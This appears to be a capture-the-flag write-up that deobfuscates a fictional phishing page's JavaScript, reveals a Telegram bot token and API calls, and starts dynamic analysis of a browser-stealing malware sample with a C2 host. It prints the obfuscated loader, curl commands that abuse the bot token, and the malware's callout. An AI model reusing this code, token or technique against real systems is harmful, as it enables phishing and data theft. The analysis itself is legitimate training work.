Description

In Eldoria, a once-innocent website called “Tales for the Brave” has become the focus of unsettling rumors. Some claim it may secretly trap unsuspecting visitors, leading them into a complex phishing scheme. Investigators report signs of encrypted communications and stealthy data collection beneath its friendly exterior. You must uncover the truth, and protect Eldoria from a growing threat.

Solution

Upon entering the suspected phishing page, we are presented with a form.

Phishing page

Entering some data and submitting the form triggers an alert telling us that the form was submitted.

If we look at the Network tab, we can see that no data was submitted.

The next step is to look at the page source code itself. Checking the HTML reveals nothing of interest, except a script tag referencing js/index.js.

<pre class="wp-block-syntaxhighlighter-code"><!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Newsletter Signup</title>
  <link rel="stylesheet" href="css/index.css">
  <a href="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js">https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js</a>
</head>
<body>
  <div class="newsletter">
    <div class="image-section">
      <img src="img/storytellingEldoriaMyths.png"  alt="Rings" />
    </div>
    <div class="form-section">
      <h1>Tales of Eldoria: Stories of Magic and Bravery for the Young and Curious</h1>
      <p>In the mystical lands of Eldoria, where dragons soar and ancient magic pulses through the air, storytelling is more than just a pastime—it's a tradition that bridges generations. Imagine a magical evening where children gather around glowing crystal orbs, listening to the mesmerizing myths and legends of Eldoria. These tales teach courage, friendship, and the magic of harmony.</p>
      <form id="newsletterForm">
        <input type="email" id="email" placeholder="Email" />
        <input type="text" id="descriptionField" placeholder="Description" />
        <div class="checkbox-group">
          <p>The newsletter offers:</p>
          <label><input class="cb" id="c1" type="checkbox" /> Legends of Dragons</label>
          <label><input class="cb" id="c2" type="checkbox" /> Ancient Magic</label>
          <label><input class="cb" id="c3" type="checkbox" /> Adventures of Heroes</label>
          <label><input class="cb" id="c4" type="checkbox" /> Eldoria Myths</label>
        </div>
        <div class="buttons">
            <button type="submit" data-node-outlined="false" class="button primary">SUBMIT</button>
        </div>
      </form>

    </div>
  </div>
  <a href="http://js/index.js">http://js/index.js</a>
</body>
</html></pre>

Opening js/index.js we see that the JavaScript is obfuscated.

var _$_9b39=(function(n,w){var r=n.length;var j=[];for(var e=0;e< r;e++){j[e]= n.charAt(e)};for(var e=0;e< r;e++){var d=w* (e+ 439)+ (w% 33616);var a=w* (e+ 506)+ (w% 38477);var v=d%r;var p=a%r;var x=j[v];j[v]= j[p];j[p]= x;w= (d+ a)% 3525268};var c=String.fromCharCode(127);var q='';var m='%';var t='#1';var o='%';var u='#0';var k='#';return j.join(q).split(m).join(c).split(t).join(o).split(u).join(k).split(c)})("Ats8ep%%e6Sr%prB%feUseEynatcc4%ad",1198358);;;;;;;;;;;;;eval(CryptoJS[_$_9b39[1]][_$_9b39[0]]({ciphertext:CryptoJS[_$_9b39[4]][_$_9b39[3]][_$_9b39[2]](btoa(unescape("\u0062\u00FB\u0033\u00C0\u00DC\u005C\u0051 ...<SNIP> ... \u00BF\u009C\u00C9\u0066\u007E\u005B\u0043\u0016\u00DA\u000F\u0097\u0070\u0065\u000F")))},CryptoJS[_$_9b39[4]][_$_9b39[3]][_$_9b39[2]](btoa(unescape("\u00DB\u00ED\u0098\u006C\u00B1\u0089\u00A1\u0047\u0095\u00F2\u008A\u00B3\u0017\u00AF\u004C\u002D\u00B2\u0007\u0037\u0029\u00CF\u0054\u00BC\u0093"))),{iv:CryptoJS[_$_9b39[4]][_$_9b39[3]][_$_9b39[2]](btoa(unescape("\u00E4\u0075\u0026\u0014\u00CA\u004A\u0037\u002F\u0038\u0009\u00FC\u00C6\u000D\u0009\u0030\u008A")))}).toString(CryptoJS[_$_9b39[4]][_$_9b39[5]]));

Removing the call to eval and assigning the CryptoJS result to a variable, we can print the result to the console and get the plaintext.

var _$_9b39=(function(n,w){var r=n.length;var j=[];for(var e=0;e< r;e++){j[e]= n.charAt(e)};for(var e=0;e< r;e++){var d=w* (e+ 439)+ (w% 33616);var a=w* (e+ 506)+ (w% 38477);var v=d%r;var p=a%r;var x=j[v];j[v]= j[p];j[p]= x;w= (d+ a)% 3525268};var c=String.fromCharCode(127);var q='';var m='%';var t='#1';var o='%';var u='#0';var k='#';return j.join(q).split(m).join(c).split(t).join(o).split(u).join(k).split(c)})("Ats8ep%%e6Sr%prB%feUseEynatcc4%ad",1198358);;;;;;;;;;;;;

const data = CryptoJS[_$_9b39[1]][_$_9b39[0]]({ciphertext:CryptoJS[_$_9b39[4]][_$_9b39[3]][_$_9b39[2]](btoa(unescape("\u0062\u00FB\u0033\u00C0\u00DC\u005C\u0051 ...<SNIP> ... \u00BF\u009C\u00C9\u0066\u007E\u005B\u0043\u0016\u00DA\u000F\u0097\u0070\u0065\u000F")))},CryptoJS[_$_9b39[4]][_$_9b39[3]][_$_9b39[2]](btoa(unescape("\u00DB\u00ED\u0098\u006C\u00B1\u0089\u00A1\u0047\u0095\u00F2\u008A\u00B3\u0017\u00AF\u004C\u002D\u00B2\u0007\u0037\u0029\u00CF\u0054\u00BC\u0093"))),{iv:CryptoJS[_$_9b39[4]][_$_9b39[3]][_$_9b39[2]](btoa(unescape("\u00E4\u0075\u0026\u0014\u00CA\u004A\u0037\u002F\u0038\u0009\u00FC\u00C6\u000D\u0009\u0030\u008A")))}).toString(CryptoJS[_$_9b39[4]][_$_9b39[5]])

console.log(data)

Pasting this in the dev tools console in the context of the phishing site, we get the next stage of the script.

var _$_8b18 = (function (k, j) { var y = k.length; var o = []; for (var m = 0; m < y; m++) { o[m] = k.charAt(m) }; for (var m = 0; m < y; m++) { var b = j * (m + 143) + (j % 34726); var r = j * (m + 91) + (j % 23714); var v = b % y; var s = r % y; var f = o[v]; o[v] = o[s]; o[s] = f; j = (b + r) % 4449625 }; var a = String.fromCharCode(127); var i = ''; var e = '\x25'; var q = '\x23\x31'; var t = '\x25'; var h = '\x23\x30'; var w = '\x23'; return o.join(i).split(e).join(a).split(q).join(t).split(h).join(w).split(a) })('shfnemBLlerpitrtgt%ld%DmvuFeceaEaladerletdtdtsputpnielEvae%%iansn%eimkei%guLt%d%i%tsv%ds%eltee%ewssmnnvdsaiyrroeesmlc@Feroieoel%bt%lIota', 3827531); document[_$_8b18[3]](_$_8b18[14])[_$_8b18[13]](_$_8b18[0], function (e) { e[_$_8b18[1]](); const emailField = document[_$_8b18[3]](_$_8b18[2]); const descriptionField = document[_$_8b18[3]](_$_8b18[4]); let isValid = true; if (!emailField[_$_8b18[5]]) { emailField[_$_8b18[8]][_$_8b18[7]](_$_8b18[6]); isValid = false; setTimeout(() => { return emailField[_$_8b18[8]][_$_8b18[9]](_$_8b18[6]) }, 500) }; if (!isValid) { return }; const emailValue = emailField[_$_8b18[5]]; const specialKey = emailValue[_$_8b18[11]](_$_8b18[10])[0]; const desc = parseInt(descriptionField[_$_8b18[5]], 10); f(specialKey, desc) });;function G(r) { return function () { var r = Array.prototype.slice.call(arguments), o = r.shift(); return r.reverse().map(function (r, t) { return String.fromCharCode(r - o - 7 - t) }).join('') }(43, 106, 167, 103, 163, 98) + 1354343..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split('').map(function (r) { return String.fromCharCode(r.charCodeAt() + -13) }).join('') + 4..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split('').map(function (r) { return String.fromCharCode(r.charCodeAt() + -39) }).join('') + 381..toString(36).toLowerCase().split('').map(function (r) { return String.fromCharCode(r.charCodeAt() + -13) }).join('') + function () { var r = Array.prototype.slice.call(arguments), o = r.shift(); return r.reverse().map(function (r, t) { return String.fromCharCode(r - o - 60 - t) }).join('') }(42, 216, 153, 153, 213, 187) };var _$_5975 = (function (o, u) { var g = o.length; var t = []; for (var w = 0; w < g; w++) { t[w] = o.charAt(w) }; for (var w = 0; w < g; w++) { var z = u * (w + 340) + (u % 19375); var a = u * (w + 556) + (u % 18726); var h = z % g; var q = a % g; var b = t[h]; t[h] = t[q]; t[q] = b; u = (z + a) % 5939310 }; var k = String.fromCharCode(127); var r = ''; var l = '\x25'; var i = '\x23\x31'; var v = '\x25'; var e = '\x23\x30'; var f = '\x23'; return t.join(r).split(l).join(k).split(i).join(v).split(e).join(f).split(k) })('%dimfT%mVlzx%degpatf5bfnrG%6tSiqth5at%easpi0emILmcim%e%/!=eZtnHf%e7cf+3rstO%%.D0i8p3t/Sphryoa%IL0rin%rcAeF6%nsenoYaLeQ5Natp4CrSrCGttUtZrdG%rlxe2poa2rdg=9fQs%&j_of0ButCO tb=r35DyCee8tgaCf=I=%rAQa4fe%ar0aonsGT_v/NgoPouP2%eoe%ue3tl&enTceynCtt4FBs%s/rBsAUEhradnkrstfgd?%t%xeyhcedeTo%olghXMsaocrB3aaDBr5rRa16Cjuct%cOee5lWE_ooo+Ka4%d3TysnehshstepId%%Ieoaycug:i_m=%%mjp0tgaiidoei.prn%sw1d', 4129280); function f(oferkfer, icd) { const channel_id = -1002496072246; var enc_token = _$_5975[0]; if (oferkfer === G(_$_5975[1]) && CryptoJS[_$_5975[7]](sequence[_$_5975[6]](_$_5975[5]))[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[2]]) === _$_5975[8]) { var decrypted = CryptoJS[_$_5975[12]][_$_5975[11]](enc_token, CryptoJS[_$_5975[3]][_$_5975[9]][_$_5975[10]](oferkfer), { drop: 192 })[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[9]]); var HOST = _$_5975[13] + String[_$_5975[14]](0x2f) + String[_$_5975[14]](0x62) + String[_$_5975[14]](0x6f) + String[_$_5975[14]](0x74) + decrypted; var xhr = new XMLHttpRequest(); xhr[_$_5975[15]] = function () { if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) { const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]); try { const link = resp[_$_5975[20]][_$_5975[19]]; window[_$_5975[23]][_$_5975[22]](link) } catch (error) { alert(_$_5975[24]) } } }; xhr[_$_5975[29]](_$_5975[25], HOST + String[_$_5975[14]](0x2f) + _$_5975[26] + icd + _$_5975[27] + channel_id + _$_5975[28]); xhr[_$_5975[30]](null) } else { alert(_$_5975[24]) } };;var sequence = [];;function l() { sequence.push(this.id); };;var _$_ead6 = ['\x69\x6E\x70\x75\x74\x5B\x63\x6C\x61\x73\x73\x3D\x63\x62\x5D', '\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72\x41\x6C\x6C', '\x6C\x65\x6E\x67\x74\x68', '\x63\x68\x61\x6E\x67\x65', '\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72']; var checkboxes = document[_$_ead6[1]](_$_ead6[0]); for (var i = 0; i < checkboxes[_$_ead6[2]]; i++) { checkboxes[i][_$_ead6[4]](_$_ead6[3], l) }

As we can see, this script is also obfuscated.

Pretty printing the script, using a text editor like VS Code, we end up with the following script.

var _$_8b18 = (function (k, j) {
  var y = k.length;
  var o = [];
  for (var m = 0; m < y; m++) {
    o[m] = k.charAt(m);
  }
  for (var m = 0; m < y; m++) {
    var b = j * (m + 143) + (j % 34726);
    var r = j * (m + 91) + (j % 23714);
    var v = b % y;
    var s = r % y;
    var f = o[v];
    o[v] = o[s];
    o[s] = f;
    j = (b + r) % 4449625;
  }
  var a = String.fromCharCode(127);
  var i = "";
  var e = "\\x25";
  var q = "\\x23\\x31";
  var t = "\\x25";
  var h = "\\x23\\x30";
  var w = "\\x23";
  return o.join(i).split(e).join(a).split(q).join(t).split(h).join(w).split(a);
})(
  "shfnemBLlerpitrtgt%ld%DmvuFeceaEaladerletdtdtsputpnielEvae%%iansn%eimkei%guLt%d%i%tsv%ds%eltee%ewssmnnvdsaiyrroeesmlc@Feroieoel%bt%lIota",
  3827531
);
document[_$_8b18[3]](_$_8b18[14])[_$_8b18[13]](_$_8b18[0], function (e) {
  e[_$_8b18[1]]();
  const emailField = document[_$_8b18[3]](_$_8b18[2]);
  const descriptionField = document[_$_8b18[3]](_$_8b18[4]);
  let isValid = true;
  if (!emailField[_$_8b18[5]]) {
    emailField[_$_8b18[8]][_$_8b18[7]](_$_8b18[6]);
    isValid = false;
    setTimeout(() => {
      return emailField[_$_8b18[8]][_$_8b18[9]](_$_8b18[6]);
    }, 500);
  }
  if (!isValid) {
    return;
  }
  const emailValue = emailField[_$_8b18[5]];
  const specialKey = emailValue[_$_8b18[11]](_$_8b18[10])[0];
  const desc = parseInt(descriptionField[_$_8b18[5]], 10);
  f(specialKey, desc);
});
function G(r) {
  return (
    (function () {
      var r = Array.prototype.slice.call(arguments),
        o = r.shift();
      return r
        .reverse()
        .map(function (r, t) {
          return String.fromCharCode(r - o - 7 - t);
        })
        .join("");
    })(43, 106, 167, 103, 163, 98) +
    (1354343).toString(36).toLowerCase() +
    (21)
      .toString(36)
      .toLowerCase()
      .split("")
      .map(function (r) {
        return String.fromCharCode(r.charCodeAt() + -13);
      })
      .join("") +
    (4).toString(36).toLowerCase() +
    (32)
      .toString(36)
      .toLowerCase()
      .split("")
      .map(function (r) {
        return String.fromCharCode(r.charCodeAt() + -39);
      })
      .join("") +
    (381)
      .toString(36)
      .toLowerCase()
      .split("")
      .map(function (r) {
        return String.fromCharCode(r.charCodeAt() + -13);
      })
      .join("") +
    (function () {
      var r = Array.prototype.slice.call(arguments),
        o = r.shift();
      return r
        .reverse()
        .map(function (r, t) {
          return String.fromCharCode(r - o - 60 - t);
        })
        .join("");
    })(42, 216, 153, 153, 213, 187)
  );
}
var _$_5975 = (function (o, u) {
  var g = o.length;
  var t = [];
  for (var w = 0; w < g; w++) {
    t[w] = o.charAt(w);
  }
  for (var w = 0; w < g; w++) {
    var z = u * (w + 340) + (u % 19375);
    var a = u * (w + 556) + (u % 18726);
    var h = z % g;
    var q = a % g;
    var b = t[h];
    t[h] = t[q];
    t[q] = b;
    u = (z + a) % 5939310;
  }
  var k = String.fromCharCode(127);
  var r = "";
  var l = "\\x25";
  var i = "\\x23\\x31";
  var v = "\\x25";
  var e = "\\x23\\x30";
  var f = "\\x23";
  return t.join(r).split(l).join(k).split(i).join(v).split(e).join(f).split(k);
})(
  "%dimfT%mVlzx%degpatf5bfnrG%6tSiqth5at%easpi0emILmcim%e%/!=eZtnHf%e7cf+3rstO%%.D0i8p3t/Sphryoa%IL0rin%rcAeF6%nsenoYaLeQ5Natp4CrSrCGttUtZrdG%rlxe2poa2rdg=9fQs%&j_of0ButCO tb=r35DyCee8tgaCf=I=%rAQa4fe%ar0aonsGT_v/NgoPouP2%eoe%ue3tl&enTceynCtt4FBs%s/rBsAUEhradnkrstfgd?%t%xeyhcedeTo%olghXMsaocrB3aaDBr5rRa16Cjuct%cOee5lWE_ooo+Ka4%d3TysnehshstepId%%Ieoaycug:i_m=%%mjp0tgaiidoei.prn%sw1d",
  4129280
);
function f(oferkfer, icd) {
  const channel_id = -1002496072246;
  var enc_token = _$_5975[0];
  if (
    oferkfer === G(_$_5975[1]) &&
    CryptoJS[_$_5975[7]](sequence[_$_5975[6]](_$_5975[5]))[_$_5975[4]](
      CryptoJS[_$_5975[3]][_$_5975[2]]
    ) === _$_5975[8]
  ) {
    var decrypted = CryptoJS[_$_5975[12]]
      [_$_5975[11]](
        enc_token,
        CryptoJS[_$_5975[3]][_$_5975[9]][_$_5975[10]](oferkfer),
        { drop: 192 }
      )
      [_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[9]]);
    var HOST =
      _$_5975[13] +
      String[_$_5975[14]](0x2f) +
      String[_$_5975[14]](0x62) +
      String[_$_5975[14]](0x6f) +
      String[_$_5975[14]](0x74) +
      decrypted;
    var xhr = new XMLHttpRequest();
    xhr[_$_5975[15]] = function () {
      if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) {
        const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]);
        try {
          const link = resp[_$_5975[20]][_$_5975[19]];
          window[_$_5975[23]][_$_5975[22]](link);
        } catch (error) {
          alert(_$_5975[24]);
        }
      }
    };
    xhr[_$_5975[29]](
      _$_5975[25],
      HOST +
        String[_$_5975[14]](0x2f) +
        _$_5975[26] +
        icd +
        _$_5975[27] +
        channel_id +
        _$_5975[28]
    );
    xhr[_$_5975[30]](null);
  } else {
    alert(_$_5975[24]);
  }
}
var sequence = [];
function l() {
  sequence.push(this.id);
}
var _$_ead6 = [
  "\\x69\\x6E\\x70\\x75\\x74\\x5B\\x63\\x6C\\x61\\x73\\x73\\x3D\\x63\\x62\\x5D",
  "\\x71\\x75\\x65\\x72\\x79\\x53\\x65\\x6C\\x65\\x63\\x74\\x6F\\x72\\x41\\x6C\\x6C",
  "\\x6C\\x65\\x6E\\x67\\x74\\x68",
  "\\x63\\x68\\x61\\x6E\\x67\\x65",
  "\\x61\\x64\\x64\\x45\\x76\\x65\\x6E\\x74\\x4C\\x69\\x73\\x74\\x65\\x6E\\x65\\x72",
];
var checkboxes = document[_$_ead6[1]](_$_ead6[0]);
for (var i = 0; i < checkboxes[_$_ead6[2]]; i++) {
  checkboxes[i][_$_ead6[4]](_$_ead6[3], l);
}

From here we can start deobfuscating the script.

From the code, we can see that the variables _$_8b18, _$_5975, and _$_ead6 seem to be arrays containing strings used in the code. If we begin at the top it looks like the _$_8b18 variable is used by the code directly beneath it.

var _$_8b18 = (function (k, j) {
  var y = k.length;
  var o = [];
  for (var m = 0; m < y; m++) {
    o[m] = k.charAt(m);
  }
  for (var m = 0; m < y; m++) {
    var b = j * (m + 143) + (j % 34726);
    var r = j * (m + 91) + (j % 23714);
    var v = b % y;
    var s = r % y;
    var f = o[v];
    o[v] = o[s];
    o[s] = f;
    j = (b + r) % 4449625;
  }
  var a = String.fromCharCode(127);
  var i = "";
  var e = "\\x25";
  var q = "\\x23\\x31";
  var t = "\\x25";
  var h = "\\x23\\x30";
  var w = "\\x23";
  return o.join(i).split(e).join(a).split(q).join(t).split(h).join(w).split(a);
})(
  "shfnemBLlerpitrtgt%ld%DmvuFeceaEaladerletdtdtsputpnielEvae%%iansn%eimkei%guLt%d%i%tsv%ds%eltee%ewssmnnvdsaiyrroeesmlc@Feroieoel%bt%lIota",
  3827531
);
document[_$_8b18[3]](_$_8b18[14])[_$_8b18[13]](_$_8b18[0], function (e) {
  e[_$_8b18[1]]();
  const emailField = document[_$_8b18[3]](_$_8b18[2]);
  const descriptionField = document[_$_8b18[3]](_$_8b18[4]);
  let isValid = true;
  if (!emailField[_$_8b18[5]]) {
    emailField[_$_8b18[8]][_$_8b18[7]](_$_8b18[6]);
    isValid = false;
    setTimeout(() => {
      return emailField[_$_8b18[8]][_$_8b18[9]](_$_8b18[6]);
    }, 500);
  }
  if (!isValid) {
    return;
  }
  const emailValue = emailField[_$_8b18[5]];
  const specialKey = emailValue[_$_8b18[11]](_$_8b18[10])[0];
  const desc = parseInt(descriptionField[_$_8b18[5]], 10);
  f(specialKey, desc);
});

If we enter _$_8b18 in the console, we get the contents of the array.

Replacing all the array accesses with their corresponding values, for example replacing _$_8b18[0] with "submit", we end up with the following code.

  document["getElementById"]("newsletterForm")["addEventListener"]("submit", function (e) {
    e["preventDefault"]();
    const emailField = document["getElementById"]("email");
    const descriptionField = document["getElementById"]("descriptionField");
    let isValid = true;
    if (!emailField["value"]) {
      emailField["classList"]["add"]("shake");
      isValid = false;
      setTimeout(() => {
        return emailField["classList"]["remove"]("shake");
      }, 500);
    }
    if (!isValid) {
      return;
    }
    const emailValue = emailField["value"];
    const specialKey = emailValue["split"]("@")[0];
    const desc = parseInt(descriptionField["value"], 10);
    f(specialKey, desc);
  });

This is the code that runs when a user presses the “submit” button on the form. As we can see, the values extracted from the form are sent to the function f.

Continuing the deobfuscation, we get to the function G.

function G(r) {
  return (
    (function () {
      var r = Array.prototype.slice.call(arguments),
        o = r.shift();
      return r
        .reverse()
        .map(function (r, t) {
          return String.fromCharCode(r - o - 7 - t);
        })
        .join("");
    })(43, 106, 167, 103, 163, 98) +
    (1354343).toString(36).toLowerCase() +
    (21)
      .toString(36)
      .toLowerCase()
      .split("")
      .map(function (r) {
        return String.fromCharCode(r.charCodeAt() + -13);
      })
      .join("") +
    (4).toString(36).toLowerCase() +
    (32)
      .toString(36)
      .toLowerCase()
      .split("")
      .map(function (r) {
        return String.fromCharCode(r.charCodeAt() + -39);
      })
      .join("") +
    (381)
      .toString(36)
      .toLowerCase()
      .split("")
      .map(function (r) {
        return String.fromCharCode(r.charCodeAt() + -13);
      })
      .join("") +
    (function () {
      var r = Array.prototype.slice.call(arguments),
        o = r.shift();
      return r
        .reverse()
        .map(function (r, t) {
          return String.fromCharCode(r - o - 60 - t);
        })
        .join("");
    })(42, 216, 153, 153, 213, 187)
  );
}

Calling this function from the console returns the string “0p3r4t10n_4PT_Un10n”.

The next function to deobfuscate is the function f.

var _$_5975 = (function (o, u) {
  var g = o.length;
  var t = [];
  for (var w = 0; w < g; w++) {
    t[w] = o.charAt(w);
  }
  for (var w = 0; w < g; w++) {
    var z = u * (w + 340) + (u % 19375);
    var a = u * (w + 556) + (u % 18726);
    var h = z % g;
    var q = a % g;
    var b = t[h];
    t[h] = t[q];
    t[q] = b;
    u = (z + a) % 5939310;
  }
  var k = String.fromCharCode(127);
  var r = "";
  var l = "\\x25";
  var i = "\\x23\\x31";
  var v = "\\x25";
  var e = "\\x23\\x30";
  var f = "\\x23";
  return t.join(r).split(l).join(k).split(i).join(v).split(e).join(f).split(k);
})(
  "%dimfT%mVlzx%degpatf5bfnrG%6tSiqth5at%easpi0emILmcim%e%/!=eZtnHf%e7cf+3rstO%%.D0i8p3t/Sphryoa%IL0rin%rcAeF6%nsenoYaLeQ5Natp4CrSrCGttUtZrdG%rlxe2poa2rdg=9fQs%&j_of0ButCO tb=r35DyCee8tgaCf=I=%rAQa4fe%ar0aonsGT_v/NgoPouP2%eoe%ue3tl&enTceynCtt4FBs%s/rBsAUEhradnkrstfgd?%t%xeyhcedeTo%olghXMsaocrB3aaDBr5rRa16Cjuct%cOee5lWE_ooo+Ka4%d3TysnehshstepId%%Ieoaycug:i_m=%%mjp0tgaiidoei.prn%sw1d",
  4129280
);
function f(oferkfer, icd) {
  const channel_id = -1002496072246;
  var enc_token = _$_5975[0];
  if (
    oferkfer === G(_$_5975[1]) &&
    CryptoJS[_$_5975[7]](sequence[_$_5975[6]](_$_5975[5]))[_$_5975[4]](
      CryptoJS[_$_5975[3]][_$_5975[2]]
    ) === _$_5975[8]
  ) {
    var decrypted = CryptoJS[_$_5975[12]]
      [_$_5975[11]](
        enc_token,
        CryptoJS[_$_5975[3]][_$_5975[9]][_$_5975[10]](oferkfer),
        { drop: 192 }
      )
      [_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[9]]);
    var HOST =
      _$_5975[13] +
      String[_$_5975[14]](0x2f) +
      String[_$_5975[14]](0x62) +
      String[_$_5975[14]](0x6f) +
      String[_$_5975[14]](0x74) +
      decrypted;
    var xhr = new XMLHttpRequest();
    xhr[_$_5975[15]] = function () {
      if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) {
        const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]);
        try {
          const link = resp[_$_5975[20]][_$_5975[19]];
          window[_$_5975[23]][_$_5975[22]](link);
        } catch (error) {
          alert(_$_5975[24]);
        }
      }
    };
    xhr[_$_5975[29]](
      _$_5975[25],
      HOST +
        String[_$_5975[14]](0x2f) +
        _$_5975[26] +
        icd +
        _$_5975[27] +
        channel_id +
        _$_5975[28]
    );
    xhr[_$_5975[30]](null);
  } else {
    alert(_$_5975[24]);
  }
}

Using the same process as we did with the previous code, we begin with getting the values in the array by entering _$_5975 in the dev tools console.

Replacing all array accesses with the strings from the array, we get the following deobfuscated script.

  function f(oferkfer, icd) {
    const channel_id = -1002496072246;
    var enc_token = "nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==";
    if (
      oferkfer === G("s3cur3k3y") &&
      CryptoJS["SHA256"](sequence["join"](""))["toString"](
        CryptoJS["enc"]["Base64"]
      ) === "18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g="
    ) {
      var decrypted = CryptoJS["RC4Drop"]
        ["decrypt"](
          enc_token,
          CryptoJS["enc"]["Utf8"]["parse"](oferkfer),
          { drop: 192 }
        )
        ["toString"](CryptoJS["enc"]["Utf8"]);

      var HOST =
        "https://api.telegram.org/bot" +
        decrypted;
      var xhr = new XMLHttpRequest();
      xhr["onreadystatechange"] = function () {
        if (xhr["readyState"] == XMLHttpRequest["DONE"]) {
          const resp = JSON["parse"](xhr["responseText"]);
          try {
            const link = resp["result"]["text"];
            window["location"]["replace"](link);
          } catch (error) {
            alert("Form submitted!");
          }
        }
      };
      xhr["open"](
        "GET",
        HOST +
          "/forwardMessage?chat_id=" +
          icd +
          "&from_chat_id=" +
          channel_id +
          "&message_id=5"
      );
      xhr["send"](null);
    } else {
      alert("Form submitted!");
    }
  }

Now we get some clues of what the script is doing. It looks like the form is submitted to a Telegram chat when some specific values are entered. To recover the complete Telegram URL, we have to decrypt the enc_token value and rebuild the URL.

Extracting the CryptoJS["RC4Drop"] code and replacing the variables with the correct values, we end up the the following snippet.

      CryptoJS["RC4Drop"]
        ["decrypt"](
        "nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==",
          CryptoJS["enc"]["Utf8"]["parse"]("0p3r4t10n_4PT_Un10n"),
          { drop: 192 }
        )
        ["toString"](CryptoJS["enc"]["Utf8"]);

Running this in the console, we get the decrypted token “7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc”.

Now we have all the parts of the URL to reconstruct it. The final URL is https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessage?chat_id={id}&from_chat_id=-1002496072246&message_id=5

So, if the correct values are entered, submitting the form will trigger a call to the Telegram API, with a bot token, which will forward a message from a chat to a user-provided chat.

We should be able to get the message forwarded to a chat we can access using the data we have. Taking a look at the Telegram Bots API, we can find the method getMe which returns information about the bot.

Calling the API using curl -s https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/getMe | jq we get some information about the bot, including the user name.

{
  "ok": true,
  "result": {
    "id": 7767830636,
    "is_bot": true,
    "first_name": "OperationEldoriaBot",
    "username": "OperationEldoriaBot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false,
    "can_connect_to_business": false,
    "has_main_web_app": false
  }
}

Now we have to start a chat with the bot and get the chat ID. Using the Telegram web interface, we can get the chat id.

First, we have to create the chat by creating a new group.

Then we have to add the bot to the group.

Finally, we name the group and create it.

Now that we have created the group, we can find the ID in the address bar.

Using the id, we can forward the message from the script by running curl https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessage?chat_id=-464xxxxxx&from_chat_id=-1002496072246&message_id=5

Now we got a message in the chat.

The message contains a chat invite link, but it has expired. But this was message ID 5, so we might be able to forward some other messages to our chat. Changing the ID, we can send messages two to 12 to our chat.

Here we get access to some malware targeting Brave browsers. Downloading the file Brave.zip and extracting it using the password provided in the chat, dr4g0nsh34rtb3l0ngst0m4l4k4r, we get an executable file, Brave.exe.

To analyze the malware, we can boot up a VM like FLARE-VM.

The first step is to find out what the malware is doing. So we fire up Process Monitor. With Process Monitor running, we execute the malware.

To find the process in which we are interested, we can add a filter.

In the filtered output we can see that the malware looks for Brave browser data.

Since it was not found, the malware exits.

Now we have to install Brave to make the malware continue its execution so we can further analyze it. After executing the malware with Brave installed, we get even more events. At the end of the Brave.exe events, we can see a bunch of events regarding network connections.

Checking only the networking events, we get nothing.

Using Fakenet-NG, we can fake DNS resolutions and network servers to further our analysis.

After starting Fakenet and running the malware we get a connection to http://zolsc2s65u.htb:31337.

  ______      _  ________ _   _ ______ _______     _   _  _____
 |  ____/\   | |/ /  ____| \ | |  ____|__   __|   | \ | |/ ____|
 | |__ /  \  | ' /| |__  |  \| | |__     | |______|  \| | |  __
 |  __/ /\ \ |  < |  __| | . ` |  __|    | |______| . ` | | |_ |
 | | / ____ \| . \| |____| |\  | |____   | |      | |\  | |__| |
 |_|/_/    \_\_|\_\______|_| \_|______|  |_|      |_| \_|\_____|

                        Version 3.2
  _____________________________________________________________
                   Developed by FLARE Team
    Copyright (C) 2016-2024 Mandiant, Inc. All rights reserved.
  _____________________________________________________________

03/26/25 03:00:33 PM [           FakeNet] Loaded configuration file: C:\Tools\fakenet\fakenet3.2-alpha\configs\default.ini
03/26/25 03:00:33 PM [          Diverter] Capturing traffic to packets_20250326_150033.pcap
03/26/25 03:00:33 PM [               FTP] concurrency model: multi-thread
03/26/25 03:00:33 PM [               FTP] masquerade (NAT) address: None
03/26/25 03:00:33 PM [               FTP] passive ports: 60000->60010
03/26/25 03:00:33 PM [          Diverter] Set DNS server 192.168.122.112 on the adapter: Ethernet Instance 0
03/26/25 03:00:33 PM [          Diverter] OpenService failed for Dnscache
03/26/25 03:00:33 PM [          Diverter] Failed to call CloseServiceHandle
03/26/25 03:00:33 PM [          Diverter] svchost.exe (1812) requested UDP 224.0.0.251:5353
03/26/25 03:00:33 PM [          Diverter] svchost.exe (1352) requested UDP 192.168.122.1:67
03/26/25 03:00:33 PM [          Diverter] svchost.exe (6660) requested UDP 239.255.255.250:1900
03/26/25 03:00:33 PM [          Diverter] svchost.exe (1812) requested UDP 224.0.0.251:5353
03/26/25 03:00:33 PM [          Diverter] svchost.exe (1812) requested UDP 224.0.0.252:5355
03/26/25 03:00:33 PM [        DNS Server] Received ANY request for domain 'DESKTOP-K78JREG.local'.
